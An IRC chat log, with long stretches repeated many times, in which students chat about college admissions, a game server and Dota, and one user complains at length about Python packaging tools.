[2015-01-23T23:47:56-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=dHP1Bje3tic
[2015-01-23T23:51:41-0500] <Hyper> wtf
[2015-01-24T00:22:19-0500] <notabot> testing
[2015-01-24T00:23:10-0500] <alokpathy> notabot: Why hello there.
[2015-01-24T00:24:39-0500] <+Tamini> hello, notabot 
[2015-01-24T01:01:47-0500] <assface> eyyyy
[2015-01-24T11:18:26-0500] <The_Master> @tell awe is the starbound server up?
[2015-01-24T11:18:26-0500] <awebot> The_Master: I'll let them know!
[2015-01-24T11:39:15-0500] <+JacobEdelman> gmorning
[2015-01-24T11:39:31-0500] <+JacobEdelman> us10: you're still here?
[2015-01-24T11:39:36-0500] <+JacobEdelman> us10: cool!
[2015-01-24T13:11:57-0500] Mode is +nst
[2015-01-24T13:12:50-0500] <@awe> The_Master: I'm not in my room right now.
[2015-01-24T13:12:50-0500] <awebot> awe: An hour ago, The_Master said is the starbound server up?
[2015-01-24T13:13:04-0500] <@awe> The_Master: Once I get back, I'll throw it up.
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[2015-01-24T13:38:41-0500] <Tamini_> eyo
[2015-01-24T13:38:54-0500] <@awe> eyyy
[2015-01-24T13:39:13-0500] <alokpathy> Ayyy
[2015-01-24T13:41:53-0500] <@awe> alokpathy: you know CStern is probably coming here?
[2015-01-24T13:42:04-0500] <alokpathy> awe: As in committing to UMass?
[2015-01-24T13:42:14-0500] <@awe> Yeah.
[2015-01-24T13:42:17-0500] <@awe> Probably.
[2015-01-24T13:42:20-0500] <@awe> Unless he gets into UIUC.
[2015-01-24T13:42:29-0500] <alokpathy> Woah :o
[2015-01-24T13:42:38-0500] <alokpathy> Nicee
[2015-01-24T13:42:59-0500] <alokpathy> I might join you guys :P
[2015-01-24T13:43:04-0500] <@awe> Lauren says that that means you have to come to admitted students day here, at least.
[2015-01-24T13:43:10-0500] <@awe> But you should totes come here in general.
[2015-01-24T13:43:17-0500] <alokpathy> When's admitted students day?
[2015-01-24T13:43:22-0500] <@awe> I don't actually know.
[2015-01-24T13:43:25-0500] <@awe> Ask Colin. :p
[2015-01-24T13:43:31-0500] <@awe> But yeah, we're #20 in the nation, so, do it.
[2015-01-24T13:44:35-0500] <Tamini_> lol
[2015-01-24T13:46:15-0500] <alokpathy> Alrighty xD
[2015-01-24T13:46:26-0500] <alokpathy> Hmm there's an open house on the 27th
[2015-01-24T13:46:31-0500] <alokpathy> Is that what you  meant?
[2015-01-24T13:46:57-0500] <@awe> Yes.
[2015-01-24T13:46:59-0500] <@awe> Maybe?
[2015-01-24T13:47:10-0500] <@awe> Lauren said it's in March.
[2015-01-24T13:47:18-0500] <@awe> Lauren said that Colin said that it's in March.
[2015-01-24T13:47:25-0500] <alokpathy> Hmm
[2015-01-24T13:47:42-0500] <alokpathy> I'll ask Colin xD
[2015-01-24T13:48:35-0500] <alokpathy> I probably should read all the mail I get from colleges now.
[2015-01-24T13:48:41-0500] <alokpathy> I'm too used to ignoring them xD
[2015-01-24T13:48:52-0500] <@awe> You probably should, yeah.
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[2015-01-23T23:30:11-0500] <+Tamini> that makes you more fun
[2015-01-23T23:30:25-0500] <+JacobEdelman> I'm a great role model!
[2015-01-23T23:30:34-0500] • JacobEdelman: is a horrible role model
[2015-01-23T23:35:15-0500] <+Tamini> im glad you realize
[2015-01-23T23:38:00-0500] <+JacobEdelman> gnight
[2015-01-23T23:45:39-0500] <LittleBobbyTables> trilane loses to a solo wr (she gets first 2 kills of the game), i get blamed because those 3 are in a party, and because I left mid for 20 seconds, which means i let their carry (who isn't even in my lane) free farm. dota's fucking retardwed
[2015-01-23T23:47:56-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=dHP1Bje3tic
[2015-01-23T23:51:41-0500] <Hyper> wtf
[2015-01-24T00:22:19-0500] <notabot> testing
[2015-01-24T00:23:10-0500] <alokpathy> notabot: Why hello there.
[2015-01-24T00:24:39-0500] <+Tamini> hello, notabot 
[2015-01-24T01:01:47-0500] <assface> eyyyy
[2015-01-24T11:18:26-0500] <The_Master> @tell awe is the starbound server up?
[2015-01-24T11:18:26-0500] <awebot> The_Master: I'll let them know!
[2015-01-24T11:39:15-0500] <+JacobEdelman> gmorning
[2015-01-24T11:39:31-0500] <+JacobEdelman> us10: you're still here?
[2015-01-24T11:39:36-0500] <+JacobEdelman> us10: cool!
[2015-01-24T13:12:49-0500] <@awe> The_Master: I'm not in my room right now.
[2015-01-24T13:12:49-0500] <awebot> awe: An hour ago, The_Master said is the starbound server up?
[2015-01-24T13:13:03-0500] <@awe> The_Master: Once I get back, I'll throw it up.
[2015-01-24T13:38:39-0500] <Tamini_> eyo
[2015-01-24T13:38:53-0500] <@awe> eyyy
[2015-01-24T13:39:12-0500] <alokpathy> Ayyy
[2015-01-24T13:41:52-0500] <@awe> alokpathy: you know CStern is probably coming here?
[2015-01-24T13:42:03-0500] <alokpathy> awe: As in committing to UMass?
[2015-01-24T13:42:13-0500] <@awe> Yeah.
[2015-01-24T13:42:16-0500] <@awe> Probably.
[2015-01-24T13:42:19-0500] <@awe> Unless he gets into UIUC.
[2015-01-24T13:42:28-0500] <alokpathy> Woah :o
[2015-01-24T13:42:37-0500] <alokpathy> Nicee
[2015-01-24T13:42:58-0500] <alokpathy> I might join you guys :P
[2015-01-24T13:43:02-0500] <@awe> Lauren says that that means you have to come to admitted students day here, at least.
[2015-01-24T13:43:09-0500] <@awe> But you should totes come here in general.
[2015-01-24T13:43:16-0500] <alokpathy> When's admitted students day?
[2015-01-24T13:43:21-0500] <@awe> I don't actually know.
[2015-01-24T13:43:24-0500] <@awe> Ask Colin. :p
[2015-01-24T13:43:30-0500] <@awe> But yeah, we're #20 in the nation, so, do it.
[2015-01-24T13:44:33-0500] <Tamini_> lol
[2015-01-24T13:46:14-0500] <alokpathy> Alrighty xD
[2015-01-24T13:46:24-0500] <alokpathy> Hmm there's an open house on the 27th
[2015-01-24T13:46:30-0500] <alokpathy> Is that what you  meant?
[2015-01-24T13:46:56-0500] <@awe> Yes.
[2015-01-24T13:46:58-0500] <@awe> Maybe?
[2015-01-24T13:47:09-0500] <@awe> Lauren said it's in March.
[2015-01-24T13:47:17-0500] <@awe> Lauren said that Colin said that it's in March.
[2015-01-24T13:47:24-0500] <alokpathy> Hmm
[2015-01-24T13:47:41-0500] <alokpathy> I'll ask Colin xD
[2015-01-24T13:48:34-0500] <alokpathy> I probably should read all the mail I get from colleges now.
[2015-01-24T13:48:40-0500] <alokpathy> I'm too used to ignoring them xD
[2015-01-24T13:48:51-0500] <@awe> You probably should, yeah.
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[2015-01-24T13:50:05-0500] <alokpathy> Wow apparently UIUC is sending countdown emails for admissions LOL
[2015-01-24T13:50:15-0500] <alokpathy> s/admissions/decisions
[2015-01-24T13:50:34-0500] <@awe> Lol.
[2015-01-24T13:50:37-0500] <@awe> Weird.
[2015-01-24T13:50:42-0500] <@awe> alokpathy: when do they drop?
[2015-01-24T13:51:13-0500] <alokpathy> 29 days from the 15th
[2015-01-24T13:51:17-0500] <alokpathy> so, uh
[2015-01-24T13:51:25-0500] <@awe> February 13th.
[2015-01-24T13:51:30-0500] <alokpathy> Yeah, that
[2015-01-24T13:51:40-0500] <@awe> Solid.
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[2015-01-24T11:39:31-0500] <+JacobEdelman> us10: you're still here?
[2015-01-24T11:39:36-0500] <+JacobEdelman> us10: cool!
[2015-01-24T13:12:49-0500] <@awe> The_Master: I'm not in my room right now.
[2015-01-24T13:12:49-0500] <awebot> awe: An hour ago, The_Master said is the starbound server up?
[2015-01-24T13:13:03-0500] <@awe> The_Master: Once I get back, I'll throw it up.
[2015-01-24T13:38:39-0500] <Tamini_> eyo
[2015-01-24T13:38:53-0500] <@awe> eyyy
[2015-01-24T13:39:12-0500] <alokpathy> Ayyy
[2015-01-24T13:41:52-0500] <@awe> alokpathy: you know CStern is probably coming here?
[2015-01-24T13:42:03-0500] <alokpathy> awe: As in committing to UMass?
[2015-01-24T13:42:13-0500] <@awe> Yeah.
[2015-01-24T13:42:16-0500] <@awe> Probably.
[2015-01-24T13:42:19-0500] <@awe> Unless he gets into UIUC.
[2015-01-24T13:42:28-0500] <alokpathy> Woah :o
[2015-01-24T13:42:37-0500] <alokpathy> Nicee
[2015-01-24T13:42:58-0500] <alokpathy> I might join you guys :P
[2015-01-24T13:43:02-0500] <@awe> Lauren says that that means you have to come to admitted students day here, at least.
[2015-01-24T13:43:09-0500] <@awe> But you should totes come here in general.
[2015-01-24T13:43:16-0500] <alokpathy> When's admitted students day?
[2015-01-24T13:43:21-0500] <@awe> I don't actually know.
[2015-01-24T13:43:24-0500] <@awe> Ask Colin. :p
[2015-01-24T13:43:30-0500] <@awe> But yeah, we're #20 in the nation, so, do it.
[2015-01-24T13:44:33-0500] <Tamini_> lol
[2015-01-24T13:46:14-0500] <alokpathy> Alrighty xD
[2015-01-24T13:46:24-0500] <alokpathy> Hmm there's an open house on the 27th
[2015-01-24T13:46:30-0500] <alokpathy> Is that what you  meant?
[2015-01-24T13:46:56-0500] <@awe> Yes.
[2015-01-24T13:46:58-0500] <@awe> Maybe?
[2015-01-24T13:47:09-0500] <@awe> Lauren said it's in March.
[2015-01-24T13:47:17-0500] <@awe> Lauren said that Colin said that it's in March.
[2015-01-24T13:47:24-0500] <alokpathy> Hmm
[2015-01-24T13:47:41-0500] <alokpathy> I'll ask Colin xD
[2015-01-24T13:48:34-0500] <alokpathy> I probably should read all the mail I get from colleges now.
[2015-01-24T13:48:40-0500] <alokpathy> I'm too used to ignoring them xD
[2015-01-24T13:48:51-0500] <@awe> You probably should, yeah.
[2015-01-24T13:50:03-0500] <alokpathy> Wow apparently UIUC is sending countdown emails for admissions LOL
[2015-01-24T13:50:14-0500] <alokpathy> s/admissions/decisions
[2015-01-24T13:50:33-0500] <@awe> Lol.
[2015-01-24T13:50:36-0500] <@awe> Weird.
[2015-01-24T13:50:41-0500] <@awe> alokpathy: when do they drop?
[2015-01-24T13:51:12-0500] <alokpathy> 29 days from the 15th
[2015-01-24T13:51:16-0500] <alokpathy> so, uh
[2015-01-24T13:51:24-0500] <@awe> February 13th.
[2015-01-24T13:51:29-0500] <alokpathy> Yeah, that
[2015-01-24T13:51:39-0500] <@awe> Solid.
[2015-01-24T13:51:43-0500] <alokpathy> Oh, yeah, it's Feb 27th
[2015-01-24T13:51:46-0500] <alokpathy> admitted students day.
[2015-01-24T13:51:49-0500] <alokpathy> Colin just confirmed XD
[2015-01-24T13:51:57-0500] <alokpathy> Well, there are like, 4 days, but I'm unavailable for 3 of them.
[2015-01-24T13:55:16-0500] <alokpathy> though ironically I'll be in MA those 3 days xD
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[2015-01-24T14:05:35-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-24T11:39:31-0500] <+JacobEdelman> us10: you're still here?
[2015-01-24T11:39:36-0500] <+JacobEdelman> us10: cool!
[2015-01-24T13:12:49-0500] <@awe> The_Master: I'm not in my room right now.
[2015-01-24T13:12:49-0500] <awebot> awe: An hour ago, The_Master said is the starbound server up?
[2015-01-24T13:13:03-0500] <@awe> The_Master: Once I get back, I'll throw it up.
[2015-01-24T13:38:39-0500] <Tamini_> eyo
[2015-01-24T13:38:53-0500] <@awe> eyyy
[2015-01-24T13:39:12-0500] <alokpathy> Ayyy
[2015-01-24T13:41:52-0500] <@awe> alokpathy: you know CStern is probably coming here?
[2015-01-24T13:42:03-0500] <alokpathy> awe: As in committing to UMass?
[2015-01-24T13:42:13-0500] <@awe> Yeah.
[2015-01-24T13:42:16-0500] <@awe> Probably.
[2015-01-24T13:42:19-0500] <@awe> Unless he gets into UIUC.
[2015-01-24T13:42:28-0500] <alokpathy> Woah :o
[2015-01-24T13:42:37-0500] <alokpathy> Nicee
[2015-01-24T13:42:58-0500] <alokpathy> I might join you guys :P
[2015-01-24T13:43:02-0500] <@awe> Lauren says that that means you have to come to admitted students day here, at least.
[2015-01-24T13:43:09-0500] <@awe> But you should totes come here in general.
[2015-01-24T13:43:16-0500] <alokpathy> When's admitted students day?
[2015-01-24T13:43:21-0500] <@awe> I don't actually know.
[2015-01-24T13:43:24-0500] <@awe> Ask Colin. :p
[2015-01-24T13:43:30-0500] <@awe> But yeah, we're #20 in the nation, so, do it.
[2015-01-24T13:44:33-0500] <Tamini_> lol
[2015-01-24T13:46:14-0500] <alokpathy> Alrighty xD
[2015-01-24T13:46:24-0500] <alokpathy> Hmm there's an open house on the 27th
[2015-01-24T13:46:30-0500] <alokpathy> Is that what you  meant?
[2015-01-24T13:46:56-0500] <@awe> Yes.
[2015-01-24T13:46:58-0500] <@awe> Maybe?
[2015-01-24T13:47:09-0500] <@awe> Lauren said it's in March.
[2015-01-24T13:47:17-0500] <@awe> Lauren said that Colin said that it's in March.
[2015-01-24T13:47:24-0500] <alokpathy> Hmm
[2015-01-24T13:47:41-0500] <alokpathy> I'll ask Colin xD
[2015-01-24T13:48:34-0500] <alokpathy> I probably should read all the mail I get from colleges now.
[2015-01-24T13:48:40-0500] <alokpathy> I'm too used to ignoring them xD
[2015-01-24T13:48:51-0500] <@awe> You probably should, yeah.
[2015-01-24T13:50:03-0500] <alokpathy> Wow apparently UIUC is sending countdown emails for admissions LOL
[2015-01-24T13:50:14-0500] <alokpathy> s/admissions/decisions
[2015-01-24T13:50:33-0500] <@awe> Lol.
[2015-01-24T13:50:36-0500] <@awe> Weird.
[2015-01-24T13:50:41-0500] <@awe> alokpathy: when do they drop?
[2015-01-24T13:51:12-0500] <alokpathy> 29 days from the 15th
[2015-01-24T13:51:16-0500] <alokpathy> so, uh
[2015-01-24T13:51:24-0500] <@awe> February 13th.
[2015-01-24T13:51:29-0500] <alokpathy> Yeah, that
[2015-01-24T13:51:39-0500] <@awe> Solid.
[2015-01-24T13:51:43-0500] <alokpathy> Oh, yeah, it's Feb 27th
[2015-01-24T13:51:46-0500] <alokpathy> admitted students day.
[2015-01-24T13:51:49-0500] <alokpathy> Colin just confirmed XD
[2015-01-24T13:51:57-0500] <alokpathy> Well, there are like, 4 days, but I'm unavailable for 3 of them.
[2015-01-24T13:55:16-0500] <alokpathy> though ironically I'll be in MA those 3 days xD
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[2015-01-24T14:37:35-0500] <ubuntor> php vuln challenges are fun but depressing
[2015-01-24T14:38:16-0500] <alokpathy> Aw
[2015-01-24T14:38:36-0500] • alokpathy: is being called a banana by his little brother.
[2015-01-24T14:38:56-0500] • alokpathy: is not exactly sure how to react.
[2015-01-24T14:43:14-0500] <+hardmath123> i've decided to hate python
[2015-01-24T14:44:02-0500] <alokpathy> hardmath123: Did awe influence you?:P
[2015-01-24T14:44:38-0500] <+hardmath123> alokpathy: surprsingly, no. i just tried to write nontrivial software in it and died.
[2015-01-24T14:44:59-0500] <alokpathy> hardmath123: Details plz
[2015-01-24T14:46:50-0500] <+hardmath123> alokpathy: https://github.com/Hardmath123/hamelin/tree/master/hamelin-py
[2015-01-24T14:47:06-0500] <+hardmath123> getting setup.py to cooperate and not blow up in my face was an absolute pain
[2015-01-24T14:47:27-0500] <+hardmath123> there are like twenty different technologies for distributing python
[2015-01-24T14:48:12-0500] <+hardmath123> pip, virtualenv, pypi, wheels, eggs, distutils, distribute, setuptools, and twine are the ones i remember after a good night's sleep.
[2015-01-24T14:48:45-0500] <+hardmath123> assuming you have figured out a subset of tools to use, there is no guarantee they will play well together
[2015-01-24T14:49:14-0500] <+hardmath123> each one is painstakingly crafted to be a mess of patches to try and comply with others
[2015-01-24T14:49:38-0500] <+hardmath123> and done so with more bugs than an anthill
[2015-01-24T14:50:10-0500] <+hardmath123> not that the important bugs are documented anywhere
[2015-01-24T14:50:42-0500] <+hardmath123> unless you count a link to a long conversation on a github issue as documentation
[2015-01-24T14:51:16-0500] <+hardmath123> but let's, for the sake of argument, grant you that some tool miraculously worked
[2015-01-24T14:51:39-0500] <+hardmath123> if it's setup.py, you now have no means of uninstalling the package aside from combing a dozen directories and manually deleting stuff
[2015-01-24T14:52:12-0500] <+hardmath123> the StackOverflow accepted solution to this is that you run setup.py with an option to print out all written files, and then to uninstall, PIPE IT TO XARGS RM -RF
[2015-01-24T14:52:43-0500] <+hardmath123> if it's pip, chances are that it completely ignored certain command-line arguments without telling you
[2015-01-24T14:53:04-0500] <+hardmath123> or complains that an argument is invalid even though it's documented as valid
[2015-01-24T14:54:11-0500] <+hardmath123> and even if *that* worked, you need to be simultaneously aware of hundreds of caveats. like, #! lines are parsed in each file and replaced with a different one "automatically"
[2015-01-24T14:55:07-0500] <+hardmath123> oh, and do you know how you specify a file to be installed as a command-line tool? as a string of the form "name = a.b.c:entry_point"
[2015-01-24T14:56:00-0500] <+hardmath123> setuptools *parses* this and then, instead of just symlinking your cli tool, generates a *new* script whose sole purpose in life is to run a.b.c:entry_point
[2015-01-24T14:57:05-0500] <+hardmath123> and in doing so generates a logfile of a couple of megabytes
[2015-01-24T14:57:24-0500] <+hardmath123> alokpathy: you *did* say you wanted details :P
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[2015-01-24T14:59:31-0500] <alokpathy> I walked away from a few minutes, came back, and saw hardmath123 all over my screen.
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[2015-01-24T14:59:43-0500] <alokpathy> LittleBobbyTables: Welcome back :P
[2015-01-24T15:00:16-0500] <alokpathy> hardmath123: Though that does seem pretty terrible
[2015-01-24T15:01:53-0500] <Tamini_> lol
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[2015-01-24T15:21:04-0500] <alokpathy> Lol the man page for sl
[2015-01-24T15:22:52-0500] <+Tamini> lol
[2015-01-24T15:23:17-0500] <alokpathy> Tamini: You lol a lot :P
[2015-01-24T15:23:23-0500] <+Tamini> i do
[2015-01-24T15:23:36-0500] <+Tamini> i am easily amused
[2015-01-24T15:26:31-0500] <+JacobEdelman> hardmath123: we had to deal with module stuffs in python at pennapps
[2015-01-24T15:26:45-0500] <+JacobEdelman> hardmath123: (had to use a python file that was not in the same directory...)
[2015-01-24T15:28:29-0500] <@awe> [14:44:38]  <+hardmath123>	alokpathy: surprsingly, no. i just tried to write nontrivial software in it and died.
[2015-01-24T15:28:34-0500] <@awe> hardmath123: this is all it takes, my friend.
[2015-01-24T15:28:41-0500] <@awe> hardmath123: It's not without reason that I hate Python.
[2015-01-24T15:31:04-0500] <@awe> hardmath123: Python presents a horrible environment for writing software.
[2015-01-24T15:31:15-0500] <@awe> Tamini: true story
[2015-01-24T15:32:45-0500] <+Tamini> awe: hm?
[2015-01-24T15:32:50-0500] <+Tamini> oh
[2015-01-24T15:32:52-0500] <+Tamini> well, yeah
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[2015-01-24T13:51:46-0500] <alokpathy> admitted students day.
[2015-01-24T13:51:49-0500] <alokpathy> Colin just confirmed XD
[2015-01-24T13:51:57-0500] <alokpathy> Well, there are like, 4 days, but I'm unavailable for 3 of them.
[2015-01-24T13:55:16-0500] <alokpathy> though ironically I'll be in MA those 3 days xD
[2015-01-24T14:37:35-0500] <ubuntor> php vuln challenges are fun but depressing
[2015-01-24T14:38:16-0500] <alokpathy> Aw
[2015-01-24T14:38:36-0500] • alokpathy: is being called a banana by his little brother.
[2015-01-24T14:38:56-0500] • alokpathy: is not exactly sure how to react.
[2015-01-24T14:43:14-0500] <+hardmath123> i've decided to hate python
[2015-01-24T14:44:02-0500] <alokpathy> hardmath123: Did awe influence you?:P
[2015-01-24T14:44:38-0500] <+hardmath123> alokpathy: surprsingly, no. i just tried to write nontrivial software in it and died.
[2015-01-24T14:44:59-0500] <alokpathy> hardmath123: Details plz
[2015-01-24T14:46:50-0500] <+hardmath123> alokpathy: https://github.com/Hardmath123/hamelin/tree/master/hamelin-py
[2015-01-24T14:47:06-0500] <+hardmath123> getting setup.py to cooperate and not blow up in my face was an absolute pain
[2015-01-24T14:47:27-0500] <+hardmath123> there are like twenty different technologies for distributing python
[2015-01-24T14:48:12-0500] <+hardmath123> pip, virtualenv, pypi, wheels, eggs, distutils, distribute, setuptools, and twine are the ones i remember after a good night's sleep.
[2015-01-24T14:48:45-0500] <+hardmath123> assuming you have figured out a subset of tools to use, there is no guarantee they will play well together
[2015-01-24T14:49:14-0500] <+hardmath123> each one is painstakingly crafted to be a mess of patches to try and comply with others
[2015-01-24T14:49:38-0500] <+hardmath123> and done so with more bugs than an anthill
[2015-01-24T14:50:10-0500] <+hardmath123> not that the important bugs are documented anywhere
[2015-01-24T14:50:42-0500] <+hardmath123> unless you count a link to a long conversation on a github issue as documentation
[2015-01-24T14:51:16-0500] <+hardmath123> but let's, for the sake of argument, grant you that some tool miraculously worked
[2015-01-24T14:51:39-0500] <+hardmath123> if it's setup.py, you now have no means of uninstalling the package aside from combing a dozen directories and manually deleting stuff
[2015-01-24T14:52:12-0500] <+hardmath123> the StackOverflow accepted solution to this is that you run setup.py with an option to print out all written files, and then to uninstall, PIPE IT TO XARGS RM -RF
[2015-01-24T14:52:43-0500] <+hardmath123> if it's pip, chances are that it completely ignored certain command-line arguments without telling you
[2015-01-24T14:53:04-0500] <+hardmath123> or complains that an argument is invalid even though it's documented as valid
[2015-01-24T14:54:11-0500] <+hardmath123> and even if *that* worked, you need to be simultaneously aware of hundreds of caveats. like, #! lines are parsed in each file and replaced with a different one "automatically"
[2015-01-24T14:55:07-0500] <+hardmath123> oh, and do you know how you specify a file to be installed as a command-line tool? as a string of the form "name = a.b.c:entry_point"
[2015-01-24T14:56:00-0500] <+hardmath123> setuptools *parses* this and then, instead of just symlinking your cli tool, generates a *new* script whose sole purpose in life is to run a.b.c:entry_point
[2015-01-24T14:57:05-0500] <+hardmath123> and in doing so generates a logfile of a couple of megabytes
[2015-01-24T14:57:24-0500] <+hardmath123> alokpathy: you *did* say you wanted details :P
[2015-01-24T14:59:31-0500] <alokpathy> I walked away from a few minutes, came back, and saw hardmath123 all over my screen.
[2015-01-24T14:59:43-0500] <alokpathy> LittleBobbyTables: Welcome back :P
[2015-01-24T15:00:16-0500] <alokpathy> hardmath123: Though that does seem pretty terrible
[2015-01-24T15:01:53-0500] <Tamini_> lol
[2015-01-24T15:21:04-0500] <alokpathy> Lol the man page for sl
[2015-01-24T15:22:52-0500] <+Tamini> lol
[2015-01-24T15:23:17-0500] <alokpathy> Tamini: You lol a lot :P
[2015-01-24T15:23:23-0500] <+Tamini> i do
[2015-01-24T15:23:36-0500] <+Tamini> i am easily amused
[2015-01-24T15:26:31-0500] <+JacobEdelman> hardmath123: we had to deal with module stuffs in python at pennapps
[2015-01-24T15:26:45-0500] <+JacobEdelman> hardmath123: (had to use a python file that was not in the same directory...)
[2015-01-24T15:28:29-0500] <@awe> [14:44:38]  <+hardmath123>	alokpathy: surprsingly, no. i just tried to write nontrivial software in it and died.
[2015-01-24T15:28:34-0500] <@awe> hardmath123: this is all it takes, my friend.
[2015-01-24T15:28:41-0500] <@awe> hardmath123: It's not without reason that I hate Python.
[2015-01-24T15:31:04-0500] <@awe> hardmath123: Python presents a horrible environment for writing software.
[2015-01-24T15:31:16-0500] <@awe> Tamini: true story
[2015-01-24T15:32:45-0500] <+Tamini> awe: hm?
[2015-01-24T15:32:50-0500] <+Tamini> oh
[2015-01-24T15:32:52-0500] <+Tamini> well, yeah
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[2015-01-24T16:10:18-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-24T13:51:46-0500] <alokpathy> admitted students day.
[2015-01-24T13:51:49-0500] <alokpathy> Colin just confirmed XD
[2015-01-24T13:51:57-0500] <alokpathy> Well, there are like, 4 days, but I'm unavailable for 3 of them.
[2015-01-24T13:55:16-0500] <alokpathy> though ironically I'll be in MA those 3 days xD
[2015-01-24T14:37:35-0500] <ubuntor> php vuln challenges are fun but depressing
[2015-01-24T14:38:16-0500] <alokpathy> Aw
[2015-01-24T14:38:36-0500] • alokpathy: is being called a banana by his little brother.
[2015-01-24T14:38:56-0500] • alokpathy: is not exactly sure how to react.
[2015-01-24T14:43:14-0500] <+hardmath123> i've decided to hate python
[2015-01-24T14:44:02-0500] <alokpathy> hardmath123: Did awe influence you?:P
[2015-01-24T14:44:38-0500] <+hardmath123> alokpathy: surprsingly, no. i just tried to write nontrivial software in it and died.
[2015-01-24T14:44:59-0500] <alokpathy> hardmath123: Details plz
[2015-01-24T14:46:50-0500] <+hardmath123> alokpathy: https://github.com/Hardmath123/hamelin/tree/master/hamelin-py
[2015-01-24T14:47:06-0500] <+hardmath123> getting setup.py to cooperate and not blow up in my face was an absolute pain
[2015-01-24T14:47:27-0500] <+hardmath123> there are like twenty different technologies for distributing python
[2015-01-24T14:48:12-0500] <+hardmath123> pip, virtualenv, pypi, wheels, eggs, distutils, distribute, setuptools, and twine are the ones i remember after a good night's sleep.
[2015-01-24T14:48:45-0500] <+hardmath123> assuming you have figured out a subset of tools to use, there is no guarantee they will play well together
[2015-01-24T14:49:14-0500] <+hardmath123> each one is painstakingly crafted to be a mess of patches to try and comply with others
[2015-01-24T14:49:38-0500] <+hardmath123> and done so with more bugs than an anthill
[2015-01-24T14:50:10-0500] <+hardmath123> not that the important bugs are documented anywhere
[2015-01-24T14:50:42-0500] <+hardmath123> unless you count a link to a long conversation on a github issue as documentation
[2015-01-24T14:51:16-0500] <+hardmath123> but let's, for the sake of argument, grant you that some tool miraculously worked
[2015-01-24T14:51:39-0500] <+hardmath123> if it's setup.py, you now have no means of uninstalling the package aside from combing a dozen directories and manually deleting stuff
[2015-01-24T14:52:12-0500] <+hardmath123> the StackOverflow accepted solution to this is that you run setup.py with an option to print out all written files, and then to uninstall, PIPE IT TO XARGS RM -RF
[2015-01-24T14:52:43-0500] <+hardmath123> if it's pip, chances are that it completely ignored certain command-line arguments without telling you
[2015-01-24T14:53:04-0500] <+hardmath123> or complains that an argument is invalid even though it's documented as valid
[2015-01-24T14:54:11-0500] <+hardmath123> and even if *that* worked, you need to be simultaneously aware of hundreds of caveats. like, #! lines are parsed in each file and replaced with a different one "automatically"
[2015-01-24T14:55:07-0500] <+hardmath123> oh, and do you know how you specify a file to be installed as a command-line tool? as a string of the form "name = a.b.c:entry_point"
[2015-01-24T14:56:00-0500] <+hardmath123> setuptools *parses* this and then, instead of just symlinking your cli tool, generates a *new* script whose sole purpose in life is to run a.b.c:entry_point
[2015-01-24T14:57:05-0500] <+hardmath123> and in doing so generates a logfile of a couple of megabytes
[2015-01-24T14:57:24-0500] <+hardmath123> alokpathy: you *did* say you wanted details :P
[2015-01-24T14:59:31-0500] <alokpathy> I walked away from a few minutes, came back, and saw hardmath123 all over my screen.
[2015-01-24T14:59:43-0500] <alokpathy> LittleBobbyTables: Welcome back :P
[2015-01-24T15:00:16-0500] <alokpathy> hardmath123: Though that does seem pretty terrible
[2015-01-24T15:01:53-0500] <Tamini_> lol
[2015-01-24T15:21:04-0500] <alokpathy> Lol the man page for sl
[2015-01-24T15:22:52-0500] <+Tamini> lol
[2015-01-24T15:23:17-0500] <alokpathy> Tamini: You lol a lot :P
[2015-01-24T15:23:23-0500] <+Tamini> i do
[2015-01-24T15:23:36-0500] <+Tamini> i am easily amused
[2015-01-24T15:26:31-0500] <+JacobEdelman> hardmath123: we had to deal with module stuffs in python at pennapps
[2015-01-24T15:26:45-0500] <+JacobEdelman> hardmath123: (had to use a python file that was not in the same directory...)
[2015-01-24T15:28:29-0500] <@awe> [14:44:38]  <+hardmath123>	alokpathy: surprsingly, no. i just tried to write nontrivial software in it and died.
[2015-01-24T15:28:34-0500] <@awe> hardmath123: this is all it takes, my friend.
[2015-01-24T15:28:41-0500] <@awe> hardmath123: It's not without reason that I hate Python.
[2015-01-24T15:31:04-0500] <@awe> hardmath123: Python presents a horrible environment for writing software.
[2015-01-24T15:31:16-0500] <@awe> Tamini: true story
[2015-01-24T15:32:45-0500] <+Tamini> awe: hm?
[2015-01-24T15:32:50-0500] <+Tamini> oh
[2015-01-24T15:32:52-0500] <+Tamini> well, yeah
[2015-01-24T16:10:19-0500] Mode is +nst
[2015-01-24T16:17:06-0500] <alokpathy> =So guys
[2015-01-24T16:27:19-0500] <@awe> =So alokpathy 
[2015-01-24T16:28:02-0500] <alokpathy> =How have your lives been for the past hour?
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[2015-01-24T16:31:11-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-24T13:55:16-0500] <alokpathy> though ironically I'll be in MA those 3 days xD
[2015-01-24T14:37:35-0500] <ubuntor> php vuln challenges are fun but depressing
[2015-01-24T14:38:16-0500] <alokpathy> Aw
[2015-01-24T14:38:36-0500] • alokpathy: is being called a banana by his little brother.
[2015-01-24T14:38:56-0500] • alokpathy: is not exactly sure how to react.
[2015-01-24T14:43:14-0500] <+hardmath123> i've decided to hate python
[2015-01-24T14:44:02-0500] <alokpathy> hardmath123: Did awe influence you?:P
[2015-01-24T14:44:38-0500] <+hardmath123> alokpathy: surprsingly, no. i just tried to write nontrivial software in it and died.
[2015-01-24T14:44:59-0500] <alokpathy> hardmath123: Details plz
[2015-01-24T14:46:50-0500] <+hardmath123> alokpathy: https://github.com/Hardmath123/hamelin/tree/master/hamelin-py
[2015-01-24T14:47:06-0500] <+hardmath123> getting setup.py to cooperate and not blow up in my face was an absolute pain
[2015-01-24T14:47:27-0500] <+hardmath123> there are like twenty different technologies for distributing python
[2015-01-24T14:48:12-0500] <+hardmath123> pip, virtualenv, pypi, wheels, eggs, distutils, distribute, setuptools, and twine are the ones i remember after a good night's sleep.
[2015-01-24T14:48:45-0500] <+hardmath123> assuming you have figured out a subset of tools to use, there is no guarantee they will play well together
[2015-01-24T14:49:14-0500] <+hardmath123> each one is painstakingly crafted to be a mess of patches to try and comply with others
[2015-01-24T14:49:38-0500] <+hardmath123> and done so with more bugs than an anthill
[2015-01-24T14:50:10-0500] <+hardmath123> not that the important bugs are documented anywhere
[2015-01-24T14:50:42-0500] <+hardmath123> unless you count a link to a long conversation on a github issue as documentation
[2015-01-24T14:51:16-0500] <+hardmath123> but let's, for the sake of argument, grant you that some tool miraculously worked
